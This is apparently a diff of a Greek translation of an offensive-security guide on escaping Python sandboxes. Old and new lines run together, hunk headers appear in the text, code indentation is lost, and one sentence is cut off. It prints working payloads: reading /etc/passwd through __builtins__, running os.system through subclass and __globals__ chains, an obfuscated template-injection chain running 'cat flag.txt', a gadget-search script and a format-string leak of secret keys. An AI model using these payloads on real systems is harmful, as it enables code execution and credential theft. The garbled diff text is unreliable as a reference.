Για να χρησιμοποιήσετε αυτή την τεχνική, μπορείτε να εισάγετε ένα module που περιέχει κακόβουλο κώδικα και να καλέσετε μια built-in function που θα εκτελέσει αυτόν τον κώδικα. Αυτό μπορεί να γίνει με τη χρήση της built-in function `__import__()` για την εισαγωγή του module και της built-in function `eval()` για την εκτέλεση του κώδικα.
Παρακάτω παρουσιάζονται μερικά παραδείγματα φορτίων Builtins:
#### Παράδειγμα 1: Εκτέλεση εντολής συστήματος
```python
import os
os.system('command')
```
#### Παράδειγμα 2: Ανάγνωση αρχείου
```python
with open('file.txt', 'r') as f:
contents = f.read()
```
#### Παράδειγμα 3: Εκτέλεση αρχείου Python
```python
with open('script.py', 'r') as f:
code = f.read()
exec(code)
```
Αυτές οι φορτίες Builtins μπορούν να χρησιμοποιηθούν για να παρακάμψουν τις αμμοθύρες της Python και να εκτελέσουν κακόβουλο κώδικα. Είναι σημαντικό να είστε προσεκτικοί κατά τη χρήση αυτών των τεχνικών, καθώς μπορεί να προκαλέσουν σοβαρές ασφαλειακές προβληματικές καταστάσεις.
```python ```python
# Possible payloads once you have found the builtins # Possible payloads once you have found the builtins
__builtins__["open"]("/etc/passwd").read() __builtins__["open"]("/etc/passwd").read()
@ -532,7 +373,7 @@ __builtins__["__import__"]("os").system("ls")
# There are lots of other payloads that can be abused to execute commands # There are lots of other payloads that can be abused to execute commands
# See them below # See them below
``` ```
## Καθολικές και τοπικές μεταβλητές ## Παγκόσμιες μεταβλητές και τοπικές μεταβλητές
Ο έλεγχος των **`globals`** και **`locals`** είναι ένας καλός τρόπος για να γνωρίζετε ποιες μεταβλητές μπορείτε να έχετε πρόσβαση. Ο έλεγχος των **`globals`** και **`locals`** είναι ένας καλός τρόπος για να γνωρίζετε ποιες μεταβλητές μπορείτε να έχετε πρόσβαση.
```python ```python
@ -558,15 +399,13 @@ class_obj.__init__.__globals__
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)] [ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>] [<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
``` ```
[**Παρακάτω υπάρχει μια μεγαλύτερη συνάρτηση**](./#recursive-search-of-builtins-globals) για να βρείτε δεκάδες/**εκατοντάδες** από **μέρη** όπου μπορείτε να βρείτε τα **globals**.
## Ανακάλυψη Αυθαίρετης Εκτέλεσης ## Ανακάλυψη Αυθαίρετης Εκτέλεσης
Εδώ θέλω να εξηγήσω πώς να ανακαλύψετε εύκολα **πιο επικίνδυνες λειτουργίες που φορτώνονται** και να προτείνετε πιο αξιόπιστες εκμεταλλεύσεις. Εδώ θέλω να εξηγήσω πώς μπορείτε εύκολα να ανακαλύψετε **περισσότερες επικίνδυνες λειτουργίες που φορτώνονται** και να προτείνετε πιο αξιόπιστες εκμεταλλεύσεις.
#### Πρόσβαση σε υποκλάσεις με παράκαμψη #### Πρόσβαση σε υποκλάσεις με παρακάμψεις
Ένα από τα πιο ευαίσθητα μέρη αυτής της τεχνικής είναι η δυνατότητα να **έχετε πρόσβαση στις βασικές υποκλάσεις**. Στα προηγούμενα παραδείγματα αυτό επιτεύχθηκε χρησιμοποιώντας `''.__class__.__base__.__subclasses__()` αλλά υπάρχουν **άλλοι πιθανοί τρόποι**: Ένα από τα πιο ευαίσθητα μέρη αυτής της τεχνικής είναι η δυνατότητα να **έχετε πρόσβαση στις βασικές υποκλάσεις**. Στα προηγούμενα παραδείγματα αυτό επιτεύχθηκε χρησιμοποιώντας `''.__class__.__base__.__subclasses__()`, αλλά υπάρχουν **άλλοι πιθανοί τρόποι**:
```python ```python
#You can access the base from mostly anywhere (in regular conditions) #You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__() "".__class__.__base__.__subclasses__()
@ -594,18 +433,18 @@ defined_func.__class__.__base__.__subclasses__()
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read() (''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read() (''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
``` ```
### Εύρεση επικίνδυνων βιβλιοθηκών που φορτώνονται ### Εντοπισμός επικίνδυνων βιβλιοθηκών που φορτώνονται
Για παράδειγμα, γνωρίζοντας ότι με τη βιβλιοθήκη **`sys`** είναι δυνατή η **εισαγωγή αυθαίρετων βιβλιοθηκών**, μπορείτε να αναζητήσετε όλα τα **φορτωμένα αρθρώματα που έχουν εισάγει το sys μέσα σε αυτά**: Για παράδειγμα, γνωρίζοντας ότι με τη βιβλιοθήκη **`sys`** είναι δυνατή η **εισαγωγή αυθαίρετων βιβλιοθηκών**, μπορείτε να αναζητήσετε όλα τα **φορτωμένα modules που έχουν εισάγει το sys μέσα σε αυτά**:
```python ```python
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ] [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations'] ['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
``` ```
Υπάρχουν πολλές, και **απλά χρειαζόμαστε μία** για να εκτελέσουμε εντολές: Υπάρχουν πολλοί, και **χρειαζόμαστε μόνο έναν** για να εκτελέσουμε εντολές:
```python ```python
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls") [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
``` ```
Μπορούμε να κάνουμε το ίδιο πράγμα με **άλλες βιβλιοθήκες** που γνωρίζουμε ότι μπορούν να χρησιμοποιηθούν για να **εκτελέσουν εντολές**: Μπορούμε να κάνουμε το ίδιο πράγμα με **άλλες βιβλιοθήκες** που γνωρίζουμε ότι μπορούν να χρησιμοποιηθούν για **εκτέλεση εντολών**:
```python ```python
#os #os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls") [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
@ -640,7 +479,7 @@ defined_func.__class__.__base__.__subclasses__()
#pdb #pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls") [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
``` ```
Επιπλέον, μπορούμε ακόμη να αναζητήσουμε ποια αρθρώματα φορτώνουν κακόβουλες βιβλιοθήκες: Επιπλέον, μπορούμε ακόμα να αναζητήσουμε ποια modules φορτώνουν κακόβουλες βιβλιοθήκες:
```python ```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"] bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
for b in bad_libraries_names: for b in bad_libraries_names:
@ -690,12 +529,11 @@ load_source: NullImporter, _HackedGetData
execfile: execfile:
execute: execute:
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
"""
``` ```
## Αναδρομική Αναζήτηση των Builtins, Globals... ## Αναδρομική Αναζήτηση των Builtins, Globals...
{% hint style="warning" %} {% hint style="warning" %}
Αυτό είναι απλά **φοβερό**. Αν **ψάχνετε για ένα αντικείμενο όπως τα globals, builtins, open ή οτιδήποτε άλλο**, απλά χρησιμοποιήστε αυτό το σενάριο για να **αναζητήσετε αναδρομικά τα μέρη όπου μπορείτε να βρείτε αυτό το αντικείμενο**. Αυτό είναι απλά **φοβερό**. Αν **ψάχνετε για ένα αντικείμενο όπως τα globals, builtins, open ή οτιδήποτε άλλο**, απλά χρησιμοποιήστε αυτό το σενάριο για να **αναζητήσετε αναδρομικά τα μέρη όπου μπορείτε να βρείτε αυτό το αντικείμενο.**
{% endhint %} {% endhint %}
```python ```python
import os, sys # Import these to find more gadgets import os, sys # Import these to find more gadgets
@ -814,26 +652,17 @@ main()
``` ```
Μπορείτε να ελέγξετε την έξοδο αυτού του σεναρίου σε αυτήν τη σελίδα: Μπορείτε να ελέγξετε την έξοδο αυτού του σεναρίου σε αυτήν τη σελίδα:
{% content-ref url="broken-reference" %} {% content-ref url="broken-reference/" %}
[Σπασμένος σύνδεσμος](broken-reference) [broken-reference](broken-reference/)
{% endcontent-ref %} {% endcontent-ref %}
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure> ## Συμβολοσειρά Μορφοποίησης Python
Βρείτε ευπάθειες που είναι πιο σημαντικές, ώστε να μπορείτε να τις διορθώσετε πιο γρήγορα. Το Intruder παρακολουθεί την επιθετική επιφάνεια σας, εκτελεί προληπτικές απειλητικές αναζητήσεις, εντοπίζει προβλήματα σε ολόκληρο το τεχνολογικό σας στοίβα, από τα APIs έως τις ιστοσελίδες και τα συστήματα στο cloud. [**Δοκιμάστε το δωρεάν**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) σήμερα. Εάν **στείλετε** μια **συμβολοσειρά** στο python που πρόκειται να **μορφοποιηθεί**, μπορείτε να χρησιμοποιήσετε `{}` για να έχετε πρόσβαση σε **εσωτερικές πληροφορίες του python**. Μπορείτε να χρησιμοποιήσετε τα προηγούμενα παραδείγματα για να έχετε πρόσβαση σε globals ή builtins για παράδειγμα.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Μορφοποίηση Συμβολοσειράς σε Python
Εάν **στείλετε** μια **συμβολοσειρά** στην Python που θα **μορφοποιηθεί**, μπορείτε να χρησιμοποιήσετε `{}` για να έχετε πρόσβαση σε **εσωτερικές πληροφορίες της Python**. Μπορείτε να χρησιμοποιήσετε τα προηγούμενα παραδείγματα για να έχετε πρόσβαση σε γενικές μεταβλητές ή ενσωματωμένες γραμμές κώδικα, για παράδειγμα.
{% hint style="info" %} {% hint style="info" %}
Ωστόσο, υπάρχει μια **περιορισμένη δυνατότητα**, μπορείτε να χρησιμοποιήσετε μόνο τα σύμβολα `.[]`, οπότε **δεν θα μπορείτε να εκτελέσετε αυθαίρετο κώδικα**, αλλά μόνο να διαβάσετε πληροφορίες.\ Ωστόσο, υπάρχει μια **περιορισμός**, μπορείτε να χρησιμοποιήσετε μόνο τα σύμβολα `.[]`, οπότε **δεν θα μπορείτε να εκτελέσετε αυθαίρετο κώδικα**, απλά να διαβάσετε πληροφορίες.\
_**Εάν γνωρίζετε πώς να εκτελέσετε κώδικα μέσω αυτής της ευπάθειας, παρακαλώ επικοινωνήστε μαζί μου.**_ _**Αν γνωρίζετε πώς να εκτελέσετε κ
{% endhint %}
```python ```python
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/ # Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
CONFIG = { CONFIG = {
@ -853,11 +682,11 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}" st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people) get_name_for_avatar(st, people_obj = people)
``` ```
